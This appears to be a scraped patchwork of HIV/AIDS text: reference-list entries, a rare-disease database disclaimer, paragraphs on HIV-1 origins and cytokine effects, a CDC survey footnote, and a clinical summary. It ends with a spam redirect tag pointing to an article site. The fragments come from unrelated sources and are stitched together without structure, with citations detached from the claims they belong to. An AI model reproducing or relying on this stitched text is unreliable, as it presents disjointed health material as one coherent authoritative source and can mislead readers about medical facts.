Jump up ^ Beyrer, C; Baral, SD; van Griensven, F; Goodreau, SM; Chariyalertsak, S; Wirtz, AL; Brookmeyer, R (Jul 28, 2012). “Global epidemiology of HIV infection in men who have sex with men”. Lancet. 380 (9839): 367–77. doi:10.1016/S0140-6736(12)60821-6. PMID 22819660.
HIV can be transmitted to your baby during pregnancy. The virus can also be passed to your baby through breast milk. If your doctor knows you have HIV, treatment can lower the risk of passing the virus on to your child to less than 2 percent.
This disease entry is based upon medical information available through the date at the end of the topic. Since NORD’s resources are limited, it is not possible to keep every entry in the Rare Disease Database completely current and accurate. Please check with the agencies listed in the Resources section for the most current information about this disorder.
Jump up ^ Gilbert PB, McKeague IW, Eisen G, Mullins C, Guéye-NDiaye A, Mboup S, Kanki PJ (February 28, 2003). “Comparison of HIV-1 and HIV-2 infectivity from a prospective cohort study in Senegal”. Statistics in Medicine. 22 (4): 573–593. doi:10.1002/sim.1342. PMID 12590415.
Genetic studies of a pandemic strain of HIV, known as HIV-1 group M, have indicated that the virus emerged between 1884 and 1924 in central and western Africa. Researchers estimate that that strain of the virus began spreading throughout those areas in the late 1950s. Later, in the mid-1960s, an evolved strain called HIV-1 group M subtype B spread from Africa to Haiti. In Haiti that subtype acquired unique characteristics, presumably through the process of genetic recombination. Sometime between 1969 and 1972, the virus migrated from Haiti to the United States. The virus spread within the United States for about a decade before it was discovered in the early 1980s. The worldwide spread of HIV-1 was likely facilitated by several factors, including increasing urbanization and long-distance travel in Africa, international travel, changing sexual mores, and intravenous drug use.
The first cases of the acquired immune deficiency syndrome (AIDS) were reported in 1981 but it is now clear that cases of the disease had been occurring unrecognized for at least 4 years before its identification. The disease is characterized by a susceptibility to infection with opportunistic pathogens or by the occurrence of an aggressive form of Kaposi’s sarcoma or B-cell lymphoma, accompanied by a profound decrease in the number of CD4 T cells. As it seemed to be spread by contact with body fluids, it was early suspected to be by a new virus, and by 1983 the agent now known to be responsible for AIDS, called the human immunodeficiency virus (HIV), was isolated and identified. It is now clear there are at least two types of HIV—HIV-1 and HIV-2—which are closely related to each other. HIV-2 is endemic in West Africa and is now spreading in India. Most AIDS worldwide, however, is caused by the more virulent HIV-1. Both viruses appear to have spread to humans from other primate species and the best evidence from sequence relationships suggests that HIV-1 has passed to humans on at least three independent occasions from the chimpanzee, Pan troglodytes, and HIV-2 from the sooty mangabey, Cercocebus atys.
* Data include all participants with complete valid survey data who tested negative during NHBS and cycle-specific inclusion criteria: men who have sex with men (born male, identified as male, and had oral or anal sex with another man); persons who inject drugs (injected drugs in the past 12 months); heterosexual persons at increased risk (male or female [not transgender], had sex with a member of the opposite sex in the past 12 months, never injected drugs, and met low income [not exceeding U.S. Department of Health and Human Services poverty guidelines] or low education [high school education or less] criteria). Groups are mutually exclusive.
It is known that normal cell cycling is necessary to produce a normal cytokine profile  and that HIV causes cell-cycle arrest.  Whether this is the exact mechanism is unresolved, however. Analysis of cytokine levels in HIV infected, uninfected, and HAART-treated patients with HIV show that cytokines involved in T-cell homeostasis were definitely affected, and therapy partially corrected these defects. In particular there was decreased IL-7, IL-12, IL-15 and FGF-2, and increased TNF-alpha and IP-10. [42, 43]
[Guideline] DiNenno EA, Prejean J, Irwin K, Delaney KP, Bowles K, Martin T, et al. Recommendations for HIV Screening of Gay, Bisexual, and Other Men Who Have Sex with Men – United States, 2017. MMWR Morb Mortal Wkly Rep. 2017 Aug 11. 66 (31):830-832. [Medline].
Human immunodeficiency virus (HIV) infection results from 1 of 2 similar retroviruses (HIV-1 and HIV-2) that destroy CD4+ lymphocytes and impair cell-mediated immunity, increasing risk of certain infections and cancers. Initial infection may cause nonspecific febrile illness. Risk of subsequent manifestations—related to immunodeficiency—is proportional to the level of CD4+ lymphocyte depletion. HIV can directly damage the brain, gonads, kidneys, and heart, causing cognitive impairment, hypogonadism, renal insufficiency, and cardiomyopathy. Manifestations range from asymptomatic carriage to acquired immune deficiency syndrome (AIDS), which is defined by serious opportunistic infections or cancers or a CD4 count of < 200/μL. HIV infection can be diagnosed by antibody, nucleic acid (HIV RNA), or antigen (p24) testing. Screening should be routinely offered to all adults and adolescents. Treatment aims to suppress HIV replication by using combinations of ≥ 3 drugs that inhibit HIV enzymes; treatment can restore immune function in most patients if suppression of replication is sustained. [redirect url='http://penetratearticles.info/bump' sec='7']